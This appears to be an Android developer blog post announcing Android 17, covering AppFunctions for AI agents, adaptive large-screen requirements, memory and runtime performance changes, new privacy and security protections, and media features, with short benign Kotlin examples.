<p>Throughout the past year, from our Canary channel to our Beta releases, we’ve collaborated with you in the developer community to build a platform you and your users can trust. To that end, this moment marks the availability of the source code at the <a href="https://source.android.com/">Android Open Source Project</a> (AOSP). This allows you to <a href="https://cs.android.com/">examine the source code</a> for a deeper understanding of how Android works.</p>

<p>Let's dive deeper into Android 17.</p>

<h3>An intelligence system</h3>

<p>With deep integration between hardware, software and AI, we’re transforming Android from an operating system to an intelligence system. It's about delivering new helpful experiences that anticipate user needs, and it brings more opportunities for engagement with your apps. To that end, Android 17 expands the capabilities of AppFunctions, a platform API with a corresponding Jetpack library. It allows you to contribute your app's unique capabilities as orchestratable "tools" for Android MCP, the on-device equivalent of the <a href="https://modelcontextprotocol.io/">Model Context Protocol</a>. AI agents and assistants (like Google Gemini) can discover and execute AppFunctions to perform workflows on behalf of the user with direct access to the app's local state.</p>

<p>The Jetpack library, currently in alpha, makes adding AppFunctions as easy as annotating a class and adding KDoc comments.</p>

<pre><code>/**
 * A note app's [AppFunction]s.
 */
class NoteFunctions(
    private val noteRepository: NoteRepository
) {
    /**
     * Adds a new note to the app.
     *
     * @param appFunctionContext The execution context.
     * @param title The title of the note.
     * @param content The note's content.
     */
    @AppFunction(isDescribedByKDoc = true)
    suspend fun createNote(
        appFunctionContext: AppFunctionContext,
        title: String,
        content: String
    ): Note {
        return noteRepository.createNote(title, content)
    }
}</code></pre>

<p>We’ve also launched an <a href="http://github.com/android/skills/tree/main/on-device/appfunctions">AppFunctions agent skill</a> that analyzes your app’s key workflows, automatically generates the required Kotlin code, optimizes your KDocs for LLM tool-calling, and provides ADB commands for testing and debugging.</p>

<p>The Gemini integration is currently in a private preview with trusted testers, but you can begin preparing your apps now. In addition to ADB commands to execute your AppFunctions, we've provided a <a href="http://github.com/android/appfunctions/releases/initial">test agent app</a> that includes an interface to discover and execute your app functions and simulate an AI agent integration. Join our integration early access program at <a href="http://goo.gle/eap-af">goo.gle/eap-af</a> for a chance to be among the first apps to deploy AppFunctions to production.</p>

<h3>Adaptive-first</h3>
<p>Your users no longer rely on a single form factor; they transition between phones, foldables, tablets, laptops, automotive displays, and immersive XR environments. Now, with over <a href="https://developer.android.com/blog/posts/adaptive-development-for-the-expanding-android-ecosystem">580 million large screen devices</a> in the hands of users and the <a href="https://blog.google/products-and-platforms/platforms/android/meet-googlebook/">forthcoming launch of Googlebooks</a>, the next generation of ChromeOS built on the Android stack, adaptive is no longer just a technical goal. It’s a massive opportunity to reach highly engaged users, which is one of the reasons we're shifting to an <a href="https://developer.android.com/adaptive-apps">adaptive-first development standard</a>.</p>

<h2>No resizability/orientation restrictions on large screens</h2>
<p>To ensure apps deliver a premium experience across all form factors, including mobile devices running in desktop mode on connected displays, Android 17 (API level 37) removes the developer opt-out for orientation and resizability restrictions on <a href="https://developer.android.com/guide/topics/large-screens">large screen devices</a> (sw &gt; 600 dp) for apps targeting API level 37. The system will ignore legacy manifest attributes and runtime APIs, including screenOrientation, setRequestedOrientation(), resizeableActivity=false, and aspect ratio constraints (minAspectRatio/maxAspectRatio). Games (based on <a href="https://support.google.com/googleplay/android-developer/answer/9859673?hl=en">app category</a> in Google Play) remain exempt. Your app must be ready to adapt to any window size, respect the user's preferred device posture, and support free-form windowing natively.</p>

<h2>Next-gen multitasking: App Bubbles, Bubble Bar, and desktop interactive PiP</h2>
<p>Android 17 introduces powerful new windowing capabilities that redefine how users multitask, demanding even greater layout flexibility from your apps:</p>
<ul>
    <li><strong>App Bubbles:</strong> Moving beyond the messaging bubbles API, users can now transform any app into a floating bubble by long-pressing its icon on the launcher. This feature is available across phones, foldables, and tablets, enabling lightweight multitasking for any workflow.</li>
    <li><strong>The Bubble Bar:</strong> On large screens (tablets and foldables), the system taskbar now includes a dedicated Bubble Bar to organize, transition between, and dock these floating app bubbles.</li>
    <li><strong>Desktop interactive PiP:</strong> In desktop environments, Android 17 introduces interactive Picture-in-Picture (PiP). Unlike traditional PiP windows which are read-only, these pinned windows remain fully interactive while staying always-on-top of other application windows.</li>
</ul>

<div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg12FRQ31sUiyMj_ZalamTRI4VyI2tMXYKEoRy6b-u0Het272IDbRhznXot7b8AvFJEX-ubw_-pNxyS5JTKPUTBj1CNXwIYkTE906vembUcHeyGzE4Lb72WRyGNF7dOP_aBssNeCplOjEnKAc3d3hkak81LOpG0g9Hlep0AvC11MjdJ1MkqAp7ViUCu2bw/s1600/Bubbles%20(1).gif"><img border="0" data-original-height="1600" data-original-width="1544" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg12FRQ31sUiyMj_ZalamTRI4VyI2tMXYKEoRy6b-u0Het272IDbRhznXot7b8AvFJEX-ubw_-pNxyS5JTKPUTBj1CNXwIYkTE906vembUcHeyGzE4Lb72WRyGNF7dOP_aBssNeCplOjEnKAc3d3hkak81LOpG0g9Hlep0AvC11MjdJ1MkqAp7ViUCu2bw/s16000/Bubbles%20(1).gif"></a></div><p><i>App Bubbles and Bubble Bar in action</i></p>

<h2>Activity recreation updates</h2>
<p>To prevent disruptive state loss and stutter, Android 17 updates the default behavior for Activity recreation. The system will no longer restart activities by default for typical configuration changes that do not require a full UI redraw (including <a href="https://developer.android.com/reference/kotlin/android/content/pm/ActivityInfo#config_keyboard">CONFIG_KEYBOARD</a>, <a href="https://developer.android.com/reference/kotlin/android/content/pm/ActivityInfo#config_keyboard_hidden">CONFIG_KEYBOARD_HIDDEN</a>, <a href="https://developer.android.com/reference/kotlin/android/content/pm/ActivityInfo#config_navigation">CONFIG_NAVIGATION</a>, <a href="https://developer.android.com/reference/kotlin/android/content/pm/ActivityInfo#config_touchscreen">CONFIG_TOUCHSCREEN</a>, and <a href="https://developer.android.com/reference/kotlin/android/content/pm/ActivityInfo#config_color_mode">CONFIG_COLOR_MODE</a>).<br>
Instead, running activities will receive these updates via onConfigurationChanged(), enabling smooth transitions. If your application explicitly relies on a full restart to reload resources for these changes, you must now explicitly opt-in using the new <a href="https://developer.android.com/reference/kotlin/android/R.attr#recreateonconfigchanges">android:recreateOnConfigChanges</a> manifest attribute.</p>

<h2>Continue On</h2>
<p>Android 17 adds Continue On to help users seamlessly transition a task between Android devices. The user sees a suggestion for the most recently opened app from their mobile device in their tablet taskbar, providing a one-tap affordance to launch the app and deep-link where they left off. Continue on can support app-to-web transitions, including falling back to using the web if the app isn't installed.</p><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjc8K42DCZ0VTYpFhTlEazp9_AthhqYdm786k1NFolZrP7HwXk2QlF7UV1CU7ECK9N-CiHSfSbH_E2_cXwL3zUuesP-shpa1nau5QmVWDOQeErnCMtvZUw_wwAHNewZZ5S3811f0n_FNoX4U9kyptZQONM_eDB1AAHaoFjMFgTCC7G1d0X2iRo1MN8sev0/s1920/Continue%20On.png"><img border="0" data-original-height="1200" data-original-width="1920" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjc8K42DCZ0VTYpFhTlEazp9_AthhqYdm786k1NFolZrP7HwXk2QlF7UV1CU7ECK9N-CiHSfSbH_E2_cXwL3zUuesP-shpa1nau5QmVWDOQeErnCMtvZUw_wwAHNewZZ5S3811f0n_FNoX4U9kyptZQONM_eDB1AAHaoFjMFgTCC7G1d0X2iRo1MN8sev0/s16000/Continue%20On.png"></a><i>Handoff Suggestion on a Tablet</i></div><p><br></p>

<pre><code>class MyHandoffActivity : Activity() {

    ...

  override fun onCreate(savedInstanceState: Bundle?) {
    super.onCreate(savedInstanceState)
    // Do stuff
    ...
    // Enable handoff
    setHandoffEnabled(true, null)
  }

  // Override and implement onHandoffActivityDataRequested
  override fun onHandoffActivityDataRequested(handoffRequestInfo: HandoffActivityDataRequestInfo) : HandoffActivityData {
    // Create and return handoff data
  }
}</code></pre>

<h2>Go adaptive-first with Jetpack Compose</h2>
<p>To help you adapt your apps to meet the new Android 17 requirements, we've launched the <a href="https://github.com/android/skills/tree/main/jetpack-compose/adaptive">Jetpack Compose adaptive skill</a>. This AI-powered developer workflow helps you implement the best adaptive practices:</p>
<ul>
    <li><strong>Adaptive navigation:</strong> Automatically transition between bottom navigation bars on mobile and edge-anchored navigation rails on large screens using NavigationSuiteScaffold from the Material 3 Adaptive library.</li>
    <li><strong>Multi-pane layouts:</strong> Implement list-detail and supporting pane layouts natively using Navigation 3 Scenes (ListDetailSceneStrategy and SupportingPaneSceneStrategy) instead of fragile fragment transactions.</li>
    <li><strong>FlexBox &amp; Grid APIs:</strong> Utilize Compose 1.11's dynamic layout components to easily adjust row and column spans on the fly, ensuring your content always fills the space beautifully.</li>
    <li><strong>Advanced non-touch input:</strong> Leverage Compose 1.11's enhanced trackpad and mouse support, including native focus rings and new APIs (like TrackpadInjectionScope and performTrackpadInput) to easily test and deliver a true "laptop-class" experience on Googlebooks and Desktop Mode.</li>
    <li><strong>Dynamic window states:</strong> Leverage Compose's reactive state model to seamlessly adapt your UI when the app transitions from full screen to a floating App Bubble or an interactive Desktop PiP window, ensuring a premium experience even at minimal dimensions.</li>
</ul>

<h2>Android is Compose-first</h2>
<p>Compose offers the easiest way to build adaptive apps, and that's just one of the <a href="https://developer.android.com/develop/ui/compose/first#why-compose-first">many reasons</a> we believe that all Android UI should be built with Compose. To that end, <a href="https://developer.android.com/develop/ui/compose/first">Android development is now Compose-first</a>. All new Android APIs, libraries, tools, and developer guidance will be built exclusively for Jetpack Compose. Legacy View components (in the android.widget package) and View-based Jetpack libraries (like Fragments, RecyclerView, and ViewPager) are now in maintenance mode. They will receive only critical bug fixes, and no new features.</p>

<blockquote>
    <p><strong>TIP</strong><br>
    Ready to migrate? Use our AI-driven <a href="https://developer.android.com/develop/ui/compose/migrate/migrate-xml-views-to-jetpack-compose">XML to Compose Migration Skill</a> to automatically analyze your legacy View layouts and convert them into highly-adaptive Compose code.</p>
</blockquote>

<h3>Performance &amp; efficiency</h3>
<p>App performance means a smooth user interface, fast app start times, and efficient multitasking; Android 17 has impactful improvements in all of these areas.</p>

<h2>App memory limits</h2>
<p>Memory usage is one of the silent foundations of overall performance. When a foreground app or service grows unchecked, memory management spikes CPU and battery utilization and eventually leads to the termination of other well-behaved cached apps and background jobs, ultimately forcing slower cold starts and impaired multitasking. </p>

<p>Starting in Android 17, the system will enforce strict app memory limits based on a device's total RAM, abruptly terminating offending processes. New things to help you navigate these tighter requirements:</p>
<ul>
    <li><strong>R8 Optimizer:</strong> The R8 optimizer significantly reduces your app's bytecode memory footprint by shrinking classes, methods, and fields into shorter names, and stripping out unused code and resources. Use R8 in full mode along with the new <a href="https://developer.android.com/topic/performance/app-optimization/r8-configuration-analyzer">R8 configuration analyzer</a> to make sure your app is getting the most from R8.<div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiQePgjeISaotpA-miDPKel-qgAYtepLjMMBaiKZQqTf_iYRTJurn_iAFdC7utLnKRKAh9OhSjF_D83skA2PPg7xts0ORX7aVxBkoax6b9uEPqTlGiY_sh8Xv7U1pr0h4Nm8FLo-h3IJD8FhTJc-gOtpBwyLCnDBUPRJAuaaBjsIOhvUmTXFSna0ykksak/s2048/R8%20Configuration%20Analyzer.png"><img border="0" data-original-height="397" data-original-width="2048" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiQePgjeISaotpA-miDPKel-qgAYtepLjMMBaiKZQqTf_iYRTJurn_iAFdC7utLnKRKAh9OhSjF_D83skA2PPg7xts0ORX7aVxBkoax6b9uEPqTlGiY_sh8Xv7U1pr0h4Nm8FLo-h3IJD8FhTJc-gOtpBwyLCnDBUPRJAuaaBjsIOhvUmTXFSna0ykksak/s16000/R8%20Configuration%20Analyzer.png"></a></div></li></ul><div><span><u><br></u></span></div><div><span><u><br></u></span></div><div><br></div><div><br></div><div>The R8 Configuration Analyzer</div><ul><li><strong>LeakCanary in Android Studio Panda:</strong> The profiler now features native LeakCanary integration as a dedicated task, fully integrated with your IDE and source code.</li>
    <li><strong>ApplicationExitInfo:</strong> If your app is terminated by these limits, getDescription() from ApplicationExitInfo will return "MemoryLimiter:AnonSwap".</li>
    <li><strong>On-Device Anomaly Detection:</strong> Part of ProfilingManager, you can leverage trigger-based profiling using TRIGGER_TYPE_ANOMALY to automatically capture heap dumps when the memory limit is reached.</li>
</ul>

<pre><code>val profilingManager = applicationContext
   .getSystemService(ProfilingManager::class.java)

val triggers = ArrayList&lt;ProfilingTrigger&gt;().apply {
  add(ProfilingTrigger.Builder(
    ProfilingTrigger.TRIGGER_TYPE_ANOMALY).build())
}
profilingManager.addProfilingTriggers(triggers)</code></pre>

<p>And, we're working to surface more in-field memory metrics to you within Google Play Console.</p>

<h2>Generational garbage collection</h2>
<p><a href="https://developer.android.com/about/versions">Android 17</a> introduces more frequent, less resource-intensive young-generation collections to <a href="https://developer.android.com/guide/platform#art">ART</a>'s Concurrent Mark-Compact garbage collector (GC). By separating short-lived objects from stable, long-lived ones, the system runs frequent, lightweight "young-generation" sweeps rather than expensive full-heap scans, drastically reducing CPU usage, power drain, and UI stutter. Our testing has shown significant improvements in GC interference with application threads and a reduction in the maximum memory resident set size (RSS). ART improvements are also available to over a billion devices running Android 12 (API level 31) and higher through Google Play System updates.</p>

<h2>Lock-Free MessageQueue</h2>
<p>For apps targeting SDK 37 or higher, the core <a href="https://developer.android.com/reference/android/os/MessageQueue"><b>android.os.MessageQueue</b></a> now implements a lock-free architecture, significantly reducing missed frames, improving app startup time, and radically improving the performance of busy queues in multithreaded scenarios. Note: This can break apps that use reflection on private <a href="https://developer.android.com/reference/android/os/MessageQueue"><b>MessageQueue</b></a> fields and methods.  The <a href="https://developer.android.com/reference/android/os/TestLooperManager#peekWhen()"><b>peekWhen</b></a> and <b><a href="https://developer.android.com/reference/android/os/TestLooperManager#poll()">poll</a> </b>APIs have been added to <a href="https://developer.android.com/reference/android/os/TestLooperManager"><b>TestLooperManager</b></a> for instrumentation testing without relying on <a href="https://developer.android.com/reference/android/os/MessageQueue"><b>MessageQueue</b></a> internals.</p>

<h2>Static final fields now truly final</h2>
<p>Starting from Android 17, apps targeting SDK 37 or higher won’t be able to modify “static final” fields, allowing the runtime to apply performance optimizations more aggressively. An attempt to do so via reflection (or deep reflection) will lead to an IllegalAccessException being thrown. Modifying them via JNI’s <b><code>SetStatic&lt;Type&gt;Field</code></b> methods family will immediately crash the application.</p>

<h2>Custom notification view restrictions</h2>
<p>To reduce memory usage we are further restricting the size of <a href="https://developer.android.com/develop/ui/views/notifications/custom-notification">custom notification views</a>. This update closes a loophole that allows apps to bypass existing limits using URIs. This behavior is gated by the target SDK version and takes effect for apps targeting API 37 and higher.</p>

<h3>Privacy &amp; Security</h3>
<p>Maintaining user trust is at the heart of the Android ecosystem. Android 17 introduces robust features that protect sensitive data while simplifying user experiences.</p>

<h2>Privacy-preserving choices</h2>
<p>Historically, apps required broad, permanent permissions to access information like contacts, precise location and media files. Android 17 continues the shift toward privacy-preserving choices that grant temporary, session-based access only to the data the user explicitly selects:</p>
<ul>
  <li><strong>System-Level Contact Picker:</strong> Utilizing <code>ACTION_PICK_CONTACTS</code>, apps can request temporary access only to specific fields (e.g., email or phone number) chosen by the user, eliminating the need for the broad <code>READ_CONTACTS</code> permission. It also fully supports work/personal profile separation.</li>
    <li><strong>Customizable Photo Picker aspect ratio:</strong> Using<b><code>PhotoPickerUiCustomizationParams</code></b>, you can customize the system photo picker to show thumbnails in portrait mode. This is perfect for apps that always display photos and videos in portrait such as video based social media apps.</li>
    <li><strong>System-rendered Location Button:</strong> A new system-rendered location button that you can embed in your app grants precise location access for the current session only.</li>
    <li><strong>EyeDropper API:</strong> A new system-level API, <code>ACTION_OPEN_EYE_DROPPER</code>, allows your app to create a system-powered eyedropper enabling the user to select color from any pixel on the display. This provides a secure, privacy-preserving color-picking experience that eliminates the need for broad, sensitive screen capture or media projection permissions.</li>
</ul>

<pre><code>val eyeDropperLauncher = registerForActivityResult(ActivityResultContracts.StartActivityForResult()) { result -&gt;
   if (result.resultCode == Activity.RESULT_OK) {
       val color = result.data?.getIntExtra(Intent.EXTRA_COLOR, Color.BLACK)
       // Use the picked color in your app
   }
}
fun launchColorPicker() {
   val intent = Intent(Intent.ACTION_OPEN_EYE_DROPPER)
   eyeDropperLauncher.launch(intent)
}</code></pre>

<div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh8m_oR9WymjE9G26nGUCqdhS9GrBd6FXN3ujWbjq7ECD6OMGhS4xUApWkAWpPpRef7lwLhsRE2jYL9FADoF_FX2eMXD-0hp9JVaCzrDhfU8RYJ9qv-Ds9YIwyQK7yHKidW0oOtX1rpg2pG9x2yNp3UkGJDPqUlHX7hiLb-bvDue67FPZK1O-22SuXbO8I/s1267/Eyedropper%20Tester.webp"><img border="0" data-original-height="713" data-original-width="1267" height="360" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh8m_oR9WymjE9G26nGUCqdhS9GrBd6FXN3ujWbjq7ECD6OMGhS4xUApWkAWpPpRef7lwLhsRE2jYL9FADoF_FX2eMXD-0hp9JVaCzrDhfU8RYJ9qv-Ds9YIwyQK7yHKidW0oOtX1rpg2pG9x2yNp3UkGJDPqUlHX7hiLb-bvDue67FPZK1O-22SuXbO8I/w640-h360/Eyedropper%20Tester.webp" width="640"></a></div><h3><br></h3><h3><br></h3><h3><br></h3><h3><br></h3><h3><br></h3><h3><br></h3><h3><br></h3><h3><br></h3><h3><br></h3><h3><span><span face="Arial, sans-serif"><i>Picking a color from anywhere on the screen with the system EyeDropper</i></span></span></h3><h2>Local network access</h2>
<p>Apps targeting Android 17 now either require the <code><a href="https://developer.android.com/reference/kotlin/android/Manifest.permission#access_local_network">ACCESS_LOCAL_NETWORK</a></code> runtime permission or the use of system-mediated, privacy-preserving device pickers for local network communication, such as talking to smart home devices or casting receivers. Because <code>ACCESS_LOCAL_NETWORK</code>  falls under the existing <code><a href="https://developer.android.com/reference/android/Manifest.permission_group#NEARBY_DEVICES">NEARBY_DEVICES</a></code> permission group, users who have already granted other <code><a href="https://developer.android.com/reference/android/Manifest.permission_group#NEARBY_DEVICES">NEARBY_DEVICES</a></code> permissions will not be prompted again. </p>

<h2>SMS OTP protection</h2>
<p>Android 17 expands SMS one-time-password (OTP) protection by delaying access to SMS messages for three hours:</p>
<ul>
  <li>WebOTP Format: <a href="https://developer.android.com/about/versions/17/behavior-changes-all#sms-otp-all-apps">Delayed for all apps that are not the intended recipient (domain mismatch)</a>.</li>
  <li>Standard SMS OTP: <a href="https://developer.android.com/about/versions/17/behavior-changes-17#sms-otp-protection">Delayed for all apps targeting SDK 37+</a>.</li>
  <li>Exemptions: Default SMS, assistant, and connected companion apps are exempt. Apps are strongly encouraged to migrate to the <a href="https://developer.android.com/identity/sms-retriever">SMS Retriever</a> or <a href="https://developers.google.com/identity/sms-retriever/user-consent/overview">SMS User Consent APIs</a>.</li>
</ul>

<h2>Post-Quantum Cryptography (PQC)</h2>
<p>Android 17 is ready for the next generation of cryptographic security:</p>
<ul>
  <li>Keystore Integration: Supported devices can generate ML-DSA (Module-Lattice-Based Digital Signature Algorithm) keys in secure hardware to produce quantum-safe signatures, exposed via standard JCA APIs.</li>
  <li>Hybrid APK Signing: Introducing the v3.2 APK Signature Scheme, which combines classical signatures with ML-DSA signatures to secure app delivery.</li>
</ul>

<h2>Safer native dynamic code loading </h2>
If your app targets SDK 37 or higher, the Safer Dynamic Code Loading (DCL) protection <a href="https://developer.android.com/about/versions/14/behavior-changes-14#safer-dynamic-code-loading">introduced in Android 14</a> for DEX and JAR files now extends to native libraries. All native files loaded using System.load must be marked as read-only. Otherwise, the system throws UnsatisfiedLinkError

<h2>Smarter password protection for physical inputs</h2>
<p>With Android 17, we're making it safer to enter passwords, PINs, and other secrets when using a physical keyboard by no longer showing the last typed character by default.</p>
<p>Users can still easily customize these display settings to match their preferences (availability may vary by device manufacturer).</p>
<p>These enhanced privacy protections are automatically supported byAndroid's built-in SDK components and will be supported in Compose 1.12 for SecureTextFields. </p>

<h3><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgFjWXyRLybiLVAIrIm1_60XHXhPmpB1QEph7AuqsGHs-NihIDRFbUgBh32gUKxo30173W-RpEInX9hmYFVnW5V8ZqtM3n_CzxlT0B0PVQr0LSOuOi7x2kZgN_jHRRlYJ7bYInZllvUGNoA_SrXkNi5wwHvUghUcnl0Gsgx_-ts4QEHq_KdbEYgWCg92xA/s798/Hide%20First%20Letter.gif"><img border="0" data-original-height="449" data-original-width="798" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgFjWXyRLybiLVAIrIm1_60XHXhPmpB1QEph7AuqsGHs-NihIDRFbUgBh32gUKxo30173W-RpEInX9hmYFVnW5V8ZqtM3n_CzxlT0B0PVQr0LSOuOi7x2kZgN_jHRRlYJ7bYInZllvUGNoA_SrXkNi5wwHvUghUcnl0Gsgx_-ts4QEHq_KdbEYgWCg92xA/s16000/Hide%20First%20Letter.gif"></a></div></h3><h3><br></h3><h3><br></h3><h3><br></h3><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><i><div><i>Smarter password protection for physical inputs</i></div></i><div><br></div><h2>Media and camera features that empower creators and delight users
</h2><p>Android 17 introduces new <a href="https://blog.google/products-and-platforms/platforms/android/android-17-creator-features/">creator features</a> that give access to pro-quality cameras and media, all while improving the experience for consumers.</p>

<ul>
  <li><a href="https://developer.android.com/media/platform/integrate-eclipsa-video">Eclipsa Video</a>: HDR video standard built upon the <a href="https://github.com/SMPTE/st2094-50">SMPTE ST 2094-50 specification</a> that introduces new metadata to help devices adapt content for their display headroom and ambient light conditions, as well as improve the simultaneous display of standard and HDR content.</li>
  <li>RAW14 image format: New support for the <a href="https://developer.android.com/reference/kotlin/android/graphics/ImageFormat#raw14">RAW14 image format</a> provides a way for your professional camera app to capture the highest level of detail and color depth from compatible camera sensors.</li>
  <li>Vendor-defined camera extensions: Vendor-defined extensions enable hardware partners to define and implement custom camera extension modes, providing access to the best and latest camera features.</li>
  <li>Extended HE-AAC software encoder: A new system-provided Extended HE-AAC software encoder, supports both low and high bitrates using unified speech and audio coding, providing significantly better audio quality for voice messages in low-bandwidth conditions, including support for loudness metadata.</li>
  <li><a href="https://developer.android.com/guide/topics/media/media-formats#video-formats">Versatile Video Coding (H.266)</a>:  Enables OEMs to add codec support by defining the <a href="https://developer.android.com/guide/topics/media/media-formats#video-formats">video/vvc</a> MIME type in <a href="https://developer.android.com/reference/android/media/MediaFormat"><code>MediaFormat</code></a>, adding new VVC profiles in <a href="https://developer.android.com/reference/android/media/MediaCodecInfo"><code>MediaCodecInfo</code></a>, and integrating support into <a href="https://developer.android.com/reference/android/media/MediaExtractor"><code>MediaExtractor</code></a>.</li>
  <li>Camera device type: New APIs that query the underlying device type to identify if a camera is built-in hardware, an external USB webcam, or a virtual camera.</li>
  <li>Constant Quality for Video Recording: <a href="https://developer.android.com/reference/android/media/MediaRecorder#setVideoEncodingQuality(int)"><code>SetVideoEncodingQuality</code></a> in <a href="https://developer.android.com/reference/android/media/MediaRecorder"><code>MediaRecorder</code></a> configures a constant quality (CQ) mode for video encoders to ensure uniform visual fidelity across the entire video.</li>
</ul>

<h2>Better support for hearing aids</h2>
<ul>
  <li>Bluetooth LE Audio hearing aid support: Android now includes a specific device category for Bluetooth Low Energy (BLE) Audio hearing aids with the new <a href="https://developer.android.com/reference/android/media/AudioDeviceInfo#TYPE_BLE_HEARING_AID"><code>AudioDeviceInfo.TYPE_BLE_HEARING_AID</code></a> constant, so your app can distinguish hearing aids from regular headsets to provide a tailored experience for users with assistive listening devices.</li>
  <li>Granular audio routing for hearing aids: Android 17 allows users to independently manage where specific system sounds are played. They can choose to route notifications, ringtones, and alarms to connected hearing aids or the device's built-in speaker, helping to avoid unwanted in-ear interruptions while maintaining a Bluetooth connection for hearing aid management apps.</li>
</ul>

<h2>CameraX and  Media3</h2>
<p><a href="https://developer.android.com/jetpack/androidx/releases/camerax">CameraX</a> and <a href="https://developer.android.com/jetpack/androidx/releases/media3">Media3</a> have been updated for Android 17. They are there to do the heavy lifting, smoothing the rough edges of media development and simplifying building reliable camera capture,  smooth media playback, and creative and complex editing experiences. </p>

<p>We've released an <a href="https://github.com/android/skills/tree/main/camera">agent skill</a> that can migrate legacy Android camera implementations (Camera1 or raw Camera2 APIs) to CameraX.</p>
  
<p>Note: You'll need to update your CameraX version to either 1.5.2 or 1.6.0+ to avoid a crash related to an added dynamic range mode on Android 17 devices.</p>

<h3>Get your apps, libraries, tools, and game engines ready!</h3>
<p>If you develop an Android SDK, library, tool, or game engine, it's critical to prepare any necessary updates now to prevent your downstream app and game developers from being blocked by compatibility issues and allow them to target the latest SDK features. Please let your downstream developers know if updates are needed to fully support Android 17.</p>

<p>Testing involves installing your production app or a test app making use of your library or engine using Google Play or other means onto a device or emulator running Android 17 Beta 4. Work through all your app's flows and look for functional or UI issues. Each release of Android contains platform changes that improve privacy, security, and overall user experience; review the app impacting behavior changes for apps <a href="https://developer.android.com/about/versions/17/behavior-changes-all">running on</a> and <a href="https://developer.android.com/about/versions/17/behavior-changes-17">targeting</a> Android 17 to focus your testing, including the following:</p>
<ul>
  <li>Resizability on large screens: Once you target Android 17 (SDK 37), you can no longer opt out of maintaining orientation, resizability and aspect ratio constraints <a href="https://developer.android.com/about/versions/17/changes/ff-restrictions-ignored">on large screens</a>.</li>
  <li>Dynamic code loading: If your app targets SDK 37 or higher, the Safer Dynamic Code Loading (DCL) protection <a href="https://developer.android.com/about/versions/14/behavior-changes-14#safer-dynamic-code-loading">introduced in Android 14 </a>for DEX and JAR files now extends to native libraries. All native files loaded using System.load() must be marked as read-only. Otherwise, the system throws UnsatisfiedLinkError.</li>
  <li>Enable CT by default: <a href="https://developer.android.com/privacy-and-security/security-config#CertificateTransparencySummary">Certificate transparency (CT)</a> is enabled by default. (On Android 16, CT is available but apps had to <a href="https://developer.android.com/privacy-and-security/security-config#certificateTransparency">opt in</a>.)</li>
  <li>Local network protections: Apps targeting SDK 37 or higher have <a href="https://developer.android.com/privacy-and-security/local-network-permission#android-17-enforcement">local network access blocked by default</a>. Switch to using privacy preserving pickers if possible, and use the new <a href="https://developer.android.com/reference/kotlin/android/Manifest.permission#access_local_network"><b><code>ACCESS_LOCAL_NETWORK</code></b>permission for broad, persistent access.</a></li>
  <li>Background audio hardening: Starting in Android 17, the audio framework enforces <a href="https://developer.android.com/about/versions/17/changes/bg-audio">restrictions on background audio interactions</a> including audio playback, <a href="https://developer.android.com/media/optimize/audio-focus">audio focus</a> requests, and <a href="https://developer.android.com/reference/android/media/AudioManager#adjustStreamVolume(int,%20int,%20int)">volume change</a> APIs. Based on your feedback, we’ve made some changes since beta 2, including targetSDK gating while-in-use FGS enforcement and exempting alarm audio. Full details available in the <a href="https://developer.android.com/about/versions/17/changes/bg-audio">updated guidance</a>.</li>
  <li>NPU access declaration: Apps targeting Android 17 that need to directly access the NPU must declare <a href="https://developer.android.com/reference/kotlin/android/content/pm/PackageManager#feature_neural_processing_unit">FEATURE_NEURAL_PROCESSING_UNIT</a> in their manifest to avoid being blocked from accessing the NPU. This includes apps that use the <a href="https://ai.google.dev/edge/litert/next/npu">LiteRT NPU delegate</a>, vendor-specific SDKs, as well as the deprecated <a href="https://developer.android.com/ndk/guides/neuralnetworks">NNAPI</a>.</li>
</ul>

<h3>Get started with Android 17</h3>
<p>Your Pixel device should get Android 17 shortly if you haven't already been on the Android Beta. If you don’t have a Pixel device, you can <a href="https://developer.android.com/about/versions/17/get#on_emulator">use the 64-bit system images with the Android Emulator</a> in Android Studio. If you are currently on Android 17 Beta 4.1 and have not yet taken an Android 17 QPR1 beta, you can opt out of the program and you will then be offered the release version of Android 17 over the air.</p>
<h3>Getting the Android 17 beta on partner devices</h3>
<p>Android 17 is available in beta on handset, tablet, and foldable form factors <a href="https://developer.android.com/about/versions/17/devices">from partners</a> including Honor, iQOO, Lenovo, OnePlus, OPPO, Realme, Sharp, vivo, and Xiaomi.</p><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjy5cwRcpdR2j-1KMzQPpsxvIODRLlVkaFNQEIQoNaPQa4X4rgEna5imminlwFdcSJ3xihXdUSFouOC0-ZKyK1A53cBmoaU03au-FjfsqkPXm0tPLtOaWT_7z8tqnMmQjFOr-YIKeP3BMVq8Hmd7yH0zllW1aFMuiW6AAAcDUVL7aIyCAIZUs0d_0VMdF4/s1653/android-17-beta-partners.jpg"><img border="0" data-original-height="624" data-original-width="1653" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjy5cwRcpdR2j-1KMzQPpsxvIODRLlVkaFNQEIQoNaPQa4X4rgEna5imminlwFdcSJ3xihXdUSFouOC0-ZKyK1A53cBmoaU03au-FjfsqkPXm0tPLtOaWT_7z8tqnMmQjFOr-YIKeP3BMVq8Hmd7yH0zllW1aFMuiW6AAAcDUVL7aIyCAIZUs0d_0VMdF4/s16000/android-17-beta-partners.jpg"></a></div><br><h3><br></h3>

<p>For the best development experience with Android 17, we recommend that you use the latest Canary build of <a href="https://developer.android.com/studio/preview">Android Studio Quail</a>. Once you’re set up, here are some of the things you should do:</p>
<p>Test your current app for compatibility, learn whether your app is <a href="https://developer.android.com/about/versions/17/behavior-changes-all">affected by changes in Android 17</a>, and install your app onto a device or <a href="https://developer.android.com/studio/run/emulator">Android Emulator</a> running Android 17 and extensively test it.</p>

